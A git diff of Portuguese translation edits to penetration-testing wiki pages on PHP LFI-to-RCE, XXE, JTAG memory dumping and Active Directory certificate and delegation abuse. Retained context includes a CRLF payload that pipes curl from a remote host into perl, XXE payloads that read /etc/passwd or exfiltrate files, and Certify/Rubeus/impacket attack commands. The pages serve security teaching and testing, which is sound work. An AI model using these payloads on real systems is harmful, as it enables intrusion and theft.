@@ -607,13 +607,13 @@ lfi2rce-via-temp-file-uploads.md
 
 ### Via `pearcmd.php` + argumentos de URL
 
-Como [**explicado neste post**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp), o script `/usr/local/lib/phppearcmd.php` existe por padrão em imagens docker do php. Além disso, é possível passar argumentos para o script via URL porque é indicado que se um parâmetro de URL não tiver um `=`, ele deve ser usado como um argumento.
+Como [**explicado neste post**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp), o script `/usr/local/lib/phppearcmd.php` existe por padrão em imagens docker do php. Além disso, é possível passar argumentos para o script via URL, pois é indicado que se um parâmetro de URL não tiver um `=`, ele deve ser usado como um argumento.
 
-A seguinte requisição cria um arquivo em `/tmp/hello.php` com o conteúdo `<?=phpinfo()?>`:
+A seguinte solicitação cria um arquivo em `/tmp/hello.php` com o conteúdo `<?=phpinfo()?>`:
 ```bash
 GET /index.php?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=phpinfo()?>+/tmp/hello.php HTTP/1.1
 ```
-O seguinte explora uma vulnerabilidade CRLF para obter RCE (de [**aqui**](https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1)):
+O seguinte abusa de uma vulnerabilidade CRLF para obter RCE (de [**aqui**](https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1)):
 ```
 http://server/cgi-bin/redir.cgi?r=http:// %0d%0a
 Location:/ooo? %2b run-tests %2b -ui %2b $(curl${IFS}orange.tw/x|perl) %2b alltests.php %0d%0a
@@ -649,7 +649,7 @@ lfi2rce-via-eternal-waiting.md
 Se você incluir qualquer um dos arquivos `/usr/bin/phar`, `/usr/bin/phar7`, `/usr/bin/phar.phar7`, `/usr/bin/phar.phar`. (Você precisa incluir o mesmo duas vezes para gerar esse erro).
 
 **Eu não sei como isso é útil, mas pode ser.**\
-_Mesmo que você cause um PHP Fatal Error, os arquivos temporários do PHP enviados são excluídos._
+_Mesmo que você cause um erro fatal do PHP, os arquivos temporários do PHP enviados são excluídos._
 
 <figure><img src="../../images/image (1031).png" alt=""><figcaption></figcaption></figure>
 

src/pentesting-web/xxe-xee-xml-external-entity.md

@@ -2,7 +2,7 @@
 
 {{#include ../banners/hacktricks-training.md}}
 
-## Fundamentos do XML
+## Fundamentos de XML
 
 XML é uma linguagem de marcação projetada para armazenamento e transporte de dados, apresentando uma estrutura flexível que permite o uso de tags nomeadas descritivamente. Ela difere do HTML por não estar limitada a um conjunto de tags predefinidas. A importância do XML diminuiu com o surgimento do JSON, apesar de seu papel inicial na tecnologia AJAX.
 
@@ -20,7 +20,7 @@ XML é uma linguagem de marcação projetada para armazenamento e transporte de
 
 ### Teste de Nova Entidade
 
-Neste ataque, vou testar se uma simples declaração de NOVA ENTIDADE está funcionando.
+Neste ataque, vou testar se uma simples declaração de nova ENTIDADE está funcionando.
 ```xml
 <?xml version="1.0" encoding="UTF-8"?>
 <!DOCTYPE foo [<!ENTITY toreplace "3"> ]>
@@ -108,7 +108,7 @@ Os passos executados por este DTD incluem:
 
 1. **Definição de Entidades de Parâmetro:**
 - Uma entidade de parâmetro XML, `%file`, é criada, lendo o conteúdo do arquivo `/etc/hostname`.
-- Outra entidade de parâmetro XML, `%eval`, é definida. Ela declara dinamicamente uma nova entidade de parâmetro XML, `%exfiltrate`. A entidade `%exfiltrate` é configurada para fazer uma requisição HTTP ao servidor do atacante, passando o conteúdo da entidade `%file` dentro da string de consulta da URL.
+- Outra entidade de parâmetro XML, `%eval`, é definida. Ela declara dinamicamente uma nova entidade de parâmetro XML, `%exfiltrate`. A entidade `%exfiltrate` é configurada para fazer uma requisição HTTP para o servidor do atacante, passando o conteúdo da entidade `%file` dentro da string de consulta da URL.
 2. **Execução de Entidades:**
 - A entidade `%eval` é utilizada, levando à execução da declaração dinâmica da entidade `%exfiltrate`.
 - A entidade `%exfiltrate` é então usada, acionando uma requisição HTTP para a URL especificada com o conteúdo do arquivo.
@@ -148,9 +148,9 @@ _**Por favor, note que DTD externo nos permite incluir uma entidade dentro do se
 
 ### **Baseado em Erro (DTD do sistema)**
 
-E quanto às vulnerabilidades XXE cegas quando **interações fora de banda estão bloqueadas** (conexões externas não estão disponíveis)?
+E quanto às vulnerabilidades XXE cegas quando **interações fora da banda estão bloqueadas** (conexões externas não estão disponíveis)?
 
-Uma brecha na especificação da linguagem XML pode **expor dados sensíveis através de mensagens de erro quando o DTD de um documento mistura declarações internas e externas**. Este problema permite a redefinição interna de entidades declaradas externamente, facilitando a execução de ataques XXE baseados em erro. Esses ataques exploram a redefinição de uma entidade de parâmetro XML, originalmente declarada em um DTD externo, a partir de um DTD interno. Quando conexões fora de banda são bloqueadas pelo servidor, os atacantes devem confiar em arquivos DTD locais para conduzir o ataque, visando induzir um erro de análise para revelar informações sensíveis.
+Uma brecha na especificação da linguagem XML pode **expor dados sensíveis através de mensagens de erro quando o DTD de um documento mistura declarações internas e externas**. Este problema permite a redefinição interna de entidades declaradas externamente, facilitando a execução de ataques XXE baseados em erro. Esses ataques exploram a redefinição de uma entidade de parâmetro XML, originalmente declarada em um DTD externo, a partir de um DTD interno. Quando conexões fora da banda são bloqueadas pelo servidor, os atacantes devem confiar em arquivos DTD locais para conduzir o ataque, visando induzir um erro de análise para revelar informações sensíveis.
 
 Considere um cenário onde o sistema de arquivos do servidor contém um arquivo DTD em `/usr/local/app/schema.dtd`, definindo uma entidade chamada `custom_entity`. Um atacante pode induzir um erro de análise XML revelando o conteúdo do arquivo `/etc/passwd` ao submeter um DTD híbrido da seguinte forma:
 ```xml
@@ -235,7 +235,7 @@ Agora, o arquivo criado pode ser enviado para a aplicação web potencialmente v
 
 ### Jar: protocol
 
-O **jar** protocolo é acessível exclusivamente dentro de **aplicações Java**. Ele é projetado para permitir o acesso a arquivos dentro de um **PKZIP** archive (por exemplo, `.zip`, `.jar`, etc.), atendendo tanto a arquivos locais quanto remotos.
+O **protocolo jar** é acessível exclusivamente dentro de **aplicações Java**. Ele é projetado para permitir o acesso a arquivos dentro de um **arquivo PKZIP** (por exemplo, `.zip`, `.jar`, etc.), atendendo tanto a arquivos locais quanto remotos.
 ```
 jar:file:///var/myarchive.zip!/file.txt
 jar:https://download.host.com/myarchive.zip!/file.txt
@@ -257,7 +257,7 @@ Uma técnica interessante para interromper esse processo na segunda etapa envolv
 <foo>&xxe;</foo>
 ```
 > [!CAUTION]
-> Escrever arquivos em um diretório temporário pode ajudar a **escalar outra vulnerabilidade que envolve uma travessia de caminho** (como inclusão de arquivo local, injeção de template, XSLT RCE, desserialização, etc).
+> Escrever arquivos em um diretório temporário pode ajudar a **escalar outra vulnerabilidade que envolve uma travessia de caminho** (como inclusão de arquivo local, injeção de template, RCE XSLT, desserialização, etc).
 
 ### XSS
 ```xml
@@ -358,7 +358,7 @@ Content-Length: 7
 
 foo=bar
 ```
-Então você pode ser capaz de enviar a seguinte solicitação, com o mesmo resultado:
+Então você pode conseguir enviar a seguinte solicitação, com o mesmo resultado:
 ```xml
 POST /action HTTP/1.0
 Content-Type: text/xml
@@ -408,7 +408,7 @@ Isso só funciona se o servidor XML aceitar o protocolo `data://`.
 
 ### UTF-7
 
-Você pode usar a \[**"Receita de Codificação"** do cyberchef aqui ]\(\[[https://gchq.github.io/CyberChef/index.html#recipe=Encode_text%28'UTF-7](https://gchq.github.io/CyberChef/#recipe=Encode_text%28'UTF-7) %2865000%29'%29\&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4)para]\([https://gchq.github.io/CyberChef/index.html#recipe=Encode_text%28'UTF-7 %2865000%29'%29\&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4%29para](https://gchq.github.io/CyberChef/#recipe=Encode_text%28%27UTF-7%20%2865000%29%27%29&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4%29para)) transformar para UTF-7.
+Você pode usar a \[**"Receita de Codificação" do cyberchef aqui ]\(\[[https://gchq.github.io/CyberChef/index.html#recipe=Encode_text%28'UTF-7](https://gchq.github.io/CyberChef/#recipe=Encode_text%28'UTF-7) %2865000%29'%29\&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4)para]\([https://gchq.github.io/CyberChef/index.html#recipe=Encode_text%28'UTF-7 %2865000%29'%29\&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4%29para](https://gchq.github.io/CyberChef/#recipe=Encode_text%28%27UTF-7%20%2865000%29%27%29&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4%29para)) transformar para UTF-7.
 ```xml
 <!xml version="1.0" encoding="UTF-7"?-->
 +ADw-+ACE-DOCTYPE+ACA-foo+ACA-+AFs-+ADw-+ACE-ENTITY+ACA-example+ACA-SYSTEM+ACA-+ACI-/etc/passwd+ACI-+AD4-+ACA-+AF0-+AD4-+AAo-+ADw-stockCheck+AD4-+ADw-productId+AD4-+ACY-example+ADs-+ADw-/productId+AD4-+ADw-storeId+AD4-1+ADw-/storeId+AD4-+ADw-/stockCheck+AD4-
@@ -476,7 +476,7 @@ Exemplo de DTD:
 
 Este exemplo é inspirado em [https://pwn.vg/articles/2021-06/local-file-read-via-error-based-xxe](https://pwn.vg/articles/2021-06/local-file-read-via-error-based-xxe)
 
-XLIFF (XML Localization Interchange File Format) é utilizado para padronizar a troca de dados em processos de localização. É um formato baseado em XML, principalmente usado para transferir dados localizáveis entre ferramentas durante a localização e como um formato comum de troca para ferramentas de CAT (Computer-Aided Translation).
+XLIFF (XML Localization Interchange File Format) é utilizado para padronizar a troca de dados em processos de localização. É um formato baseado em XML, principalmente usado para transferir dados localizáveis entre ferramentas durante a localização e como um formato comum de troca para ferramentas CAT (Computer-Aided Translation).
 
 ### Análise de Requisição Cega
 
@@ -492,7 +492,7 @@ Content-Type: application/x-xliff+xml
 <xliff srcLang="en" trgLang="ms-MY" version="2.0"></xliff>
 ------WebKitFormBoundaryqBdAsEtYaBjTArl3--
 ```
-No entanto, essa solicitação aciona um erro interno do servidor, mencionando especificamente um problema com as declarações de marcação:
+No entanto, esta solicitação aciona um erro interno do servidor, mencionando especificamente um problema com as declarações de marcação:
 ```json
 {
 "status": 500,
@@ -514,7 +514,7 @@ Content-Type: application/x-xliff+xml
 <xliff srcLang="en" trgLang="ms-MY" version="2.0"></xliff>
 ------WebKitFormBoundaryqBdAsEtYaBjTArl3--
 ```
-Essa abordagem revela que o User Agent indica o uso do Java 1.8. Uma limitação observada com esta versão do Java é a incapacidade de recuperar arquivos que contêm um caractere de nova linha, como /etc/passwd, usando a técnica Out of Band.
+Essa abordagem revela que o User Agent indica o uso do Java 1.8. Uma limitação observada com esta versão do Java é a incapacidade de recuperar arquivos que contenham um caractere de nova linha, como /etc/passwd, usando a técnica Out of Band.
 
 Exfiltração de Dados Baseada em Erro Para superar essa limitação, uma abordagem Baseada em Erro é empregada. O arquivo DTD é estruturado da seguinte forma para acionar um erro que inclui dados de um arquivo alvo:
 ```xml
@@ -681,10 +681,10 @@ Dê uma olhada neste relatório incrível [https://swarm.ptsecurity.com/impossib
 https://github.com/luisfontes19/xxexploiter
 {{#endref}}
 
-### Python lxml Parameter-Entity XXE (Divulgação de Arquivo Baseada em Erro)
+### XXE de Parâmetro-Entidade Python lxml (Divulgação de Arquivo Baseada em Erro)
 
 > [!INFO]
-> A biblioteca Python **lxml** usa **libxml2** por trás. Versões anteriores a **lxml 5.4.0 / libxml2 2.13.8** ainda expandem entidades *parameter* mesmo quando `resolve_entities=False`, tornando-as acessíveis quando a aplicação habilita `load_dtd=True` e/ou `resolve_entities=True`. Isso permite payloads XXE Baseados em Erro que incorporam o conteúdo de arquivos locais na mensagem de erro do parser.
+> A biblioteca Python **lxml** usa **libxml2** por trás. Versões anteriores a **lxml 5.4.0 / libxml2 2.13.8** ainda expandem entidades *parameter* mesmo quando `resolve_entities=False`, tornando-as acessíveis quando a aplicação habilita `load_dtd=True` e/ou `resolve_entities=True`. Isso permite cargas úteis de XXE Baseadas em Erro que incorporam o conteúdo de arquivos locais na mensagem de erro do parser.
 
 #### 1. Explorando lxml < 5.4.0
 1. Identifique ou crie um DTD *local* no disco que defina uma entidade de parâmetro **indefinida** (por exemplo, `%config_hex;`).
@@ -732,9 +732,9 @@ Error : failed to load external entity "file:///aaa/FLAG{secret}"
 * A técnica funciona **sem conectividade de saída**, tornando-a ideal para ambientes com filtragem de egressos estrita.
 
 #### Orientações de mitigação
-* Atualize para **lxml ≥ 5.4.0** e garanta que o **libxml2** subjacente seja **≥ 2.13.8**.
+* Atualize para **lxml ≥ 5.4.0** e assegure que o **libxml2** subjacente seja **≥ 2.13.8**.
 * Desative `load_dtd` e/ou `resolve_entities` a menos que absolutamente necessário.
-* Evite retornar erros de parser brutos para o cliente.
+* Evite retornar erros de parser brutos ao cliente.
 
 ### Exemplo de endurecimento do Java DocumentBuilderFactory
 
@@ -763,7 +763,7 @@ dbf.setExpandEntityReferences(false);
 
 DocumentBuilder builder = dbf.newDocumentBuilder();
 ```
-Se a aplicação deve suportar DTDs internamente, mantenha `disallow-doctype-decl` desativado, mas **sempre** deixe as duas funcionalidades `external-*-entities` configuradas como `false`. A combinação previne cargas úteis clássicas de divulgação de arquivos (`file:///etc/passwd`), bem como vetores SSRF baseados em rede (`http://169.254.169.254/…`, protocolo `jar:`, etc.).
+Se a aplicação deve suportar DTDs internamente, mantenha `disallow-doctype-decl` desativado, mas **sempre** deixe as duas funcionalidades `external-*-entities` definidas como `false`. A combinação previne cargas úteis clássicas de divulgação de arquivos (`file:///etc/passwd`), bem como vetores SSRF baseados em rede (`http://169.254.169.254/…`, protocolo `jar:`, etc.).
 
 Estudo de caso do mundo real: **CVE-2025-27136** no emulador Java S3 *LocalS3* usou o construtor vulnerável mostrado acima. Um atacante não autenticado poderia fornecer um corpo XML manipulado para o endpoint `CreateBucketConfiguration` e fazer com que o servidor incorporasse arquivos locais (por exemplo, `/etc/passwd`) na resposta HTTP.
 
@@ -771,7 +771,7 @@ Estudo de caso do mundo real: **CVE-2025-27136** no emulador Java S3 *LocalS3* u
 
 Algumas plataformas de fluxo de trabalho/orquestração de impressão expõem um ouvinte de Job Messaging Format (JMF) voltado para a rede que aceita XML sobre TCP. Se o analisador subjacente aceitar um `DOCTYPE` e resolver entidades externas, você pode aproveitar um XXE clássico para forçar o servidor a fazer solicitações externas (SSRF) ou acessar recursos locais.
 
-Pontos-chave observados no mundo:
+Pontos-chave observados no mundo real:
 - Ouvinte de rede (por exemplo, cliente JMF) em uma porta dedicada (comumente 4004 no Xerox FreeFlow Core).
 - Análise XML baseada em Java dentro de um jar (por exemplo, `jmfclient.jar`) sem `disallow-doctype-decl` ou resolução de entidades desativada.
 - Chamadas fora de banda confirmam de forma confiável a exploração.

src/todo/hardware-hacking/jtag.md

@@ -27,6 +27,8 @@ Uma vez carregado, abra o monitor serial a 115200 baud e envie `h` para ajuda. F
 
 ![](<../../images/image (774).png>)
 
+
+
 Se um TAP válido for encontrado, você verá linhas começando com `FOUND!` indicando pinos descobertos.
 
 Dicas
@@ -54,13 +56,13 @@ openocd -f board/esp32s3-builtin.cfg -c "init; scan_chain; shutdown"
 ```
 Notas
 - Se você receber um IDCODE "todos uns/zeros", verifique a fiação, a energia, o Vtref e se a porta não está bloqueada por fusíveis/opções de bytes.
-- Veja OpenOCD `irscan`/`drscan` de baixo nível para interação manual com TAP ao iniciar cadeias desconhecidas.
+- Veja OpenOCD baixo nível `irscan`/`drscan` para interação manual com TAP ao iniciar cadeias desconhecidas.
 
 ## Parando a CPU e despejando memória/flash
 
-Uma vez que o TAP é reconhecido e um script de destino é escolhido, você pode parar o núcleo e despejar regiões de memória ou flash interno. Exemplos (ajuste o destino, endereços base e tamanhos):
+Uma vez que o TAP é reconhecido e um script de destino é escolhido, você pode parar o núcleo e despejar regiões de memória ou flash interno. Exemplos (ajuste o alvo, endereços base e tamanhos): 
 
-- Destino genérico após a inicialização:
+- Alvo genérico após a inicialização:
 ```
 openocd -f interface/jlink.cfg -f target/stm32f1x.cfg \
 -c "init; reset halt; mdw 0x08000000 4; dump_image flash.bin 0x08000000 0x00100000; shutdown"
@@ -83,7 +85,7 @@ Tips
 
 Mesmo quando o acesso de depuração da CPU está bloqueado, o boundary-scan ainda pode estar exposto. Com UrJTAG/OpenOCD você pode:
 - SAMPLE para capturar estados dos pinos enquanto o sistema está em execução (encontrar atividade no barramento, confirmar mapeamento de pinos).
-- EXTEST para acionar pinos (por exemplo, bit-bang linhas SPI externas via o MCU para lê-las offline se a fiação da placa permitir).
+- EXTEST para acionar pinos (por exemplo, bit-bang linhas SPI flash externas via o MCU para lê-las offline se a fiação da placa permitir).
 
 Fluxo mínimo do UrJTAG com um adaptador FT2232x:
 ```
@@ -105,9 +107,9 @@ Você precisa do BSDL do dispositivo para conhecer a ordem dos bits do registrad
 
 ## Defesas e endurecimento (o que esperar em dispositivos reais)
 
-- Desative permanentemente ou bloqueie JTAG/SWD na produção (por exemplo, nível 2 RDP STM32, eFuses ESP que desativam PAD JTAG, APPROTECT/DPAP NXP/Nordic).
-- Exija autenticação de debug (ARMv8.2‑A ADIv6 Autenticação de Debug, desafio-resposta gerenciado por OEM) enquanto mantém o acesso de fabricação.
-- Não roteie pads de teste fáceis; enterre vias de teste, remova/popule resistores para isolar TAP, use conectores com chaves ou fixadores de pino pogo.
+- Desative permanentemente ou bloqueie JTAG/SWD na produção (por exemplo, nível 2 RDP STM32, eFuses ESP que desativam PAD JTAG, APPROTECT/DPAP da NXP/Nordic).
+- Exija autenticação de debug (ARMv8.2‑A ADIv6 Debug Authentication, desafio-resposta gerenciado por OEM) enquanto mantém o acesso de fabricação.
+- Não roteie pads de teste fáceis; enterre vias de teste, remova/popule resistores para isolar TAP, use conectores com chaves ou fixações de pinos pogo.
 - Bloqueio de debug na inicialização: proteja o TAP atrás de um ROM inicial que impõe o boot seguro.
 
 ## Referências

src/todo/misc.md

@@ -1,57 +0,0 @@
-{{#include ../banners/hacktricks-training.md}}
-
-Em uma resposta de ping TTL:\
-127 = Windows\
-254 = Cisco\
-O restante, algum linux
-
-$1$- md5\
-$2$ou $2a$ - Blowfish\
-$5$- sha256\
-$6$- sha512
-
-Se você não souber o que está por trás de um serviço, tente fazer uma solicitação HTTP GET.
-
-**Escaneamentos UDP**\
-nc -nv -u -z -w 1 \<IP> 160-16
-
-Um pacote UDP vazio é enviado para uma porta específica. Se a porta UDP estiver aberta, nenhuma resposta é enviada de volta da máquina alvo. Se a porta UDP estiver fechada, um pacote ICMP de porta inatingível deve ser enviado de volta da máquina alvo.\
-
-A varredura de portas UDP é frequentemente não confiável, pois firewalls e roteadores podem descartar pacotes ICMP.\
-Isso pode levar a falsos positivos em sua varredura, e você verá regularmente\
-varreduras de portas UDP mostrando todas as portas UDP abertas em uma máquina escaneada.\
-A maioria dos scanners de porta não escaneia todas as portas disponíveis e geralmente tem uma lista predefinida de “portas interessantes” que são escaneadas.
-
-# CTF - Truques
-
-Em **Windows** use **Winzip** para procurar arquivos.\
-**Streams de dados alternativos**: _dir /r | find ":$DATA"_\
-```
-binwalk --dd=".*" <file> #Extract everything
-binwalk -M -e -d=10000 suspicious.pdf #Extract, look inside extracted files and continue extracing (depth of 10000)
-```
-## Cripto
-
-**featherduster**\
-
-**Basae64**(6—>8) —> 0...9, a...z, A…Z,+,/\
-**Base32**(5 —>8) —> A…Z, 2…7\
-**Base85** (Ascii85, 7—>8) —> 0...9, a...z, A...Z, ., -, :, +, =, ^, !, /, \*, ?, &, <, >, (, ), \[, ], {, }, @, %, $, #\
-**Uuencode** --> Comece com "_begin \<mode> \<filename>_" e caracteres estranhos\
-**Xxencoding** --> Comece com "_begin \<mode> \<filename>_" e B64\
-\
-**Vigenere** (análise de frequência) —> [https://www.guballa.de/vigenere-solver](https://www.guballa.de/vigenere-solver)\
-**Scytale** (deslocamento de caracteres) —> [https://www.dcode.fr/scytale-cipher](https://www.dcode.fr/scytale-cipher)
-
-**25x25 = QR**
-
-factordb.com\
-rsatool
-
-Snow --> Oculte mensagens usando espaços e tabulações
-
-# Caracteres
-
-%E2%80%AE => Caractere RTL (escreve payloads ao contrário)
-
-{{#include ../banners/hacktricks-training.md}}

src/windows-hardening/active-directory-methodology/ad-certificates/account-persistence.md

@@ -8,7 +8,7 @@
 
 Em um cenário onde um certificado que permite a autenticação de domínio pode ser solicitado por um usuário, um atacante tem a oportunidade de solicitar e roubar esse certificado para manter a persistência em uma rede. Por padrão, o template `User` no Active Directory permite tais solicitações, embora às vezes possa estar desativado.
 
-Usando [Certify](https://github.com/GhostPack/Certify) ou [Certipy](https://github.com/ly4k/Certipy), você pode procurar por templates habilitados que permitem autenticação de cliente e então solicitar um:
+Usando [Certify](https://github.com/GhostPack/Certify) ou [Certipy](https://github.com/ly4k/Certipy), você pode procurar por templates habilitados que permitem autenticação de cliente e, em seguida, solicitar um:
 ```bash
 # Enumerate client-auth capable templates
 Certify.exe find /clientauth
@@ -86,7 +86,7 @@ certipy auth -pfx attacker_user.pfx -dc-ip 10.0.0.10
 ```
 Notas
 - Use apenas tipos de mapeamento fortes: X509IssuerSerialNumber, X509SKI ou X509SHA1PublicKey. Formatos fracos (Subject/Issuer, apenas Subject, e-mail RFC822) estão obsoletos e podem ser bloqueados pela política do DC.
-- A cadeia de certificados deve ser construída até uma raiz confiável pelo DC. CAs empresariais no NTAuth são tipicamente confiáveis; alguns ambientes também confiam em CAs públicas.
+- A cadeia de certificados deve ser construída até uma raiz confiável pelo DC. CAs empresariais em NTAuth são tipicamente confiáveis; alguns ambientes também confiam em CAs públicas.
 
 Para mais informações sobre mapeamentos explícitos fracos e caminhos de ataque, veja:
 
@@ -96,7 +96,7 @@ domain-escalation.md
 
 ## Agente de Inscrição como Persistência – PERSIST5
 
-Se você obtiver um certificado válido de Agente de Solicitação de Certificado/Agente de Inscrição, poderá criar novos certificados com capacidade de logon em nome dos usuários à vontade e manter o PFX do agente offline como um token de persistência. Fluxo de abuso:
+Se você obtiver um certificado válido de Agente de Solicitação de Certificado/Agente de Inscrição, poderá criar novos certificados capazes de logon em nome dos usuários à vontade e manter o PFX do agente offline como um token de persistência. Fluxo de abuso:
 ```bash
 # Request an Enrollment Agent cert (requires template rights)
 Certify.exe request /ca:CA-SERVER\CA-NAME /template:"Certificate Request Agent"
@@ -113,7 +113,7 @@ Revogação do certificado do agente ou permissões do modelo é necessária par
 
 ## 2025 Aplicação Rigorosa de Mapeamento de Certificados: Impacto na Persistência
 
-O Microsoft KB5014754 introduziu a Aplicação Rigorosa de Mapeamento de Certificados em controladores de domínio. Desde 11 de fevereiro de 2025, os DCs padrão para Aplicação Total, rejeitando mapeamentos fracos/ambíguos. Implicações práticas:
+O KB5014754 da Microsoft introduziu a Aplicação Rigorosa de Mapeamento de Certificados em controladores de domínio. Desde 11 de fevereiro de 2025, os DCs padrão para Aplicação Total, rejeitando mapeamentos fracos/ambíguos. Implicações práticas:
 
 - Certificados anteriores a 2022 que não possuem a extensão de mapeamento SID podem falhar no mapeamento implícito quando os DCs estão em Aplicação Total. Os atacantes podem manter o acesso renovando certificados através do AD CS (para obter a extensão SID) ou plantando um mapeamento explícito forte em `altSecurityIdentities` (PERSIST4).
 - Mapeamentos explícitos usando formatos fortes (Issuer+Serial, SKI, SHA1-PublicKey) continuam a funcionar. Formatos fracos (Issuer/Subject, Subject-only, RFC822) podem ser bloqueados e devem ser evitados para persistência.

src/windows-hardening/active-directory-methodology/resource-based-constrained-delegation.md

@@ -24,13 +24,13 @@ No entanto, se o **TGS** usado em **S4U2Proxy** **NÃO for Forwardable**, tentar
 
 Suponha que o atacante já tenha **privilégios equivalentes de escrita sobre o computador da vítima**.
 
-1. O atacante **compromete** uma conta que tem um **SPN** ou **cria um** (“Serviço A”). Note que **qualquer** _Usuário Admin_ sem nenhum outro privilégio especial pode **criar** até 10 objetos de Computador (**_MachineAccountQuota_**) e definir um **SPN** para eles. Assim, o atacante pode simplesmente criar um objeto de Computador e definir um SPN.
+1. O atacante **compromete** uma conta que tem um **SPN** ou **cria uma** (“Serviço A”). Note que **qualquer** _Usuário Admin_ sem nenhum outro privilégio especial pode **criar** até 10 objetos de Computador (**_MachineAccountQuota_**) e definir um **SPN** para eles. Assim, o atacante pode simplesmente criar um objeto de Computador e definir um SPN.
 2. O atacante **abusa de seu privilégio de ESCRITA** sobre o computador da vítima (Serviço B) para configurar **delegação constrangida baseada em recurso para permitir que o Serviço A impersonifique qualquer usuário** contra aquele computador da vítima (Serviço B).
 3. O atacante usa Rubeus para realizar um **ataque S4U completo** (S4U2Self e S4U2Proxy) do Serviço A para o Serviço B para um usuário **com acesso privilegiado ao Serviço B**.
-   1. S4U2Self (da conta SPN comprometida/criada): Solicitar um **TGS de Administrador para mim** (Não Forwardable).
-   2. S4U2Proxy: Usar o **TGS não Forwardable** do passo anterior para solicitar um **TGS** de **Administrador** para o **host da vítima**.
-   3. Mesmo que você esteja usando um TGS não Forwardable, como você está explorando a delegação constrangida baseada em recurso, funcionará.
-   4. O atacante pode **pass-the-ticket** e **impersonar** o usuário para ganhar **acesso ao Serviço B da vítima**.
+1. S4U2Self (da conta SPN comprometida/criada): Solicitar um **TGS de Administrador para mim** (Não Forwardable).
+2. S4U2Proxy: Usar o **TGS não Forwardable** do passo anterior para solicitar um **TGS** de **Administrador** para o **host da vítima**.
+3. Mesmo que você esteja usando um TGS não Forwardable, como você está explorando a delegação constrangida baseada em recurso, funcionará.
+4. O atacante pode **pass-the-ticket** e **impersonar** o usuário para ganhar **acesso ao Serviço B da vítima**.
 
 Para verificar o _**MachineAccountQuota**_ do domínio, você pode usar:
 ```bash
@@ -119,11 +119,11 @@ Neste exemplo, foi solicitado um TGS para o serviço **CIFS** do Administrador,
 ```bash
 ls \\victim.domain.local\C$
 ```
-### Abusar de diferentes tickets de serviço
+### Abuse different service tickets
 
 Saiba mais sobre os [**tickets de serviço disponíveis aqui**](silver-ticket.md#available-services).
 
-## Enumeração, auditoria e limpeza
+## Enumerating, auditing and cleanup
 
 ### Enumerar computadores com RBCD configurado
 
@@ -148,7 +148,7 @@ Impacket (ler ou limpar com um comando):
 # Read who can delegate to VICTIM
 impacket-rbcd -delegate-to 'VICTIM$' -action read 'domain.local/jdoe:Summer2025!'
 ```
-### Limpeza / redefinição do RBCD
+### Limpeza / redefinir RBCD
 
 - PowerShell (limpar o atributo):
 ```powershell
@@ -198,4 +198,5 @@ adws-enumeration.md
 - Impacket rbcd.py (oficial): https://github.com/fortra/impacket/blob/master/examples/rbcd.py
 - Quick Linux cheatsheet with recent syntax: https://tldrbins.github.io/rbcd/
 
+
 {{#include ../../banners/hacktricks-training.md}}